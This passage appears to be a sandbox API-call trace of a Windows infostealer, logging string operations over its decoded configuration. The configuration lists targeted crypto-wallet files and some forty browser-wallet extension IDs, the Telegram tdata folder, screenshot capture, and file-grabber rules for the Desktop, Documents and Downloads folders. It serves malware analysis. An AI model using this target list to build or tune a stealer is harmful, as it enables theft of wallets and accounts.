Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.171] lstrlenW (lpString="wlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3495 [0260.171] LocalAlloc (uFlags=0x40, uBytes=0x1bce) returned 0x6be928 [0260.171] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0260.172] LocalFree (hMem=0x6be928) returned 0x0 [0260.172] StrStrW (lpFirst="wlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.172] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0260.172] LocalFree (hMem=0x6b9720) returned 0x0 [0260.172] LocalFree (hMem=0x6bb278) returned 0x0 [0260.173] LocalFree (hMem=0x6bcdd0) returned 0x0 [0260.173] StrStrW (lpFirst="wlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.173] lstrlenW (lpString="wlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension 